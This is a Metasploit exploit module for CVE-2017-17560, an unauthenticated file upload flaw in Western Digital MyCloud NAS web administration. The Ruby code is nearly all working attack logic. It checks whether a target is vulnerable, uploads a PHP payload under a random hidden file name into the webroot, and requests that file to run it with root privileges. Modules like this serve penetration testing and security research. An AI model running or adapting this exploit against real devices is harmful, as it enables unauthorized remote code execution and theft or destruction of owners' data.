##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability',
        'Description' => %q{
          This module exploits a file upload vulnerability found in Western Digital's MyCloud
          NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php
          PHP script provides multipart upload functionality that is accessible without authentication
          and can be used to place a file anywhere on the device's file system. This allows an
          attacker the ability to upload a PHP shell onto the device and obtain arbitrary code
          execution as root.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module
        ],
        'References' => [
          ['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud#.2Fjquery.2Fuploader.2Fmulti_uploadify.php_.28added_08.2F06.2F2017.29'],
          ['URL', 'https://download.exploitee.rs/file/generic/Exploiteers-DEFCON25.pdf'],
          ['URL', 'https://www.youtube.com/watch?v=EO_49pfmA5A'],
          ['CVE', '2017-17560']
        ],
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Automatic Targeting', { 'auto' => true }]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2017-07-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php')

    if res.nil?
      vprint_error('Connection failed')
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.code == 302 && res.headers['Location'] =~ /\?status=1/
      return CheckCode::Vulnerable('The target is vulnerable')
    end

    CheckCode::Safe('The target is not vulnerable')
  end

  def upload(web_folder, fname, file)
    # construct post data
    data = Rex::MIME::Message.new
    data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"")

    # upload
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/web/jquery/uploader/multi_uploadify.php',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s,
      'vars_get' => {
        'folder' => web_folder
      }
    })
  end

  def exploit
    if check != CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device')
    end

    # upload PHP payload to '/var/www' (webroot).
    web_folder = '/var/www'
    php = "<?php #{payload.encoded} ?>"
    print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.")
    fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php"

    res = upload(web_folder, fname, php)

    # check upload response
    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
    if res.code != 302 || res.headers['Location'] =~ /\?status=0/
      fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
    end
    print_good('Uploaded PHP payload successfully.')

    # register uploaded php payload file for cleanup
    register_files_for_cleanup(fname)

    # retrieve and execute PHP payload
    print_status("Making request for '/#{fname}' to execute payload.")
    res = send_request_cgi({ 'uri' => normalize_uri(fname) }, 15)
  end

end
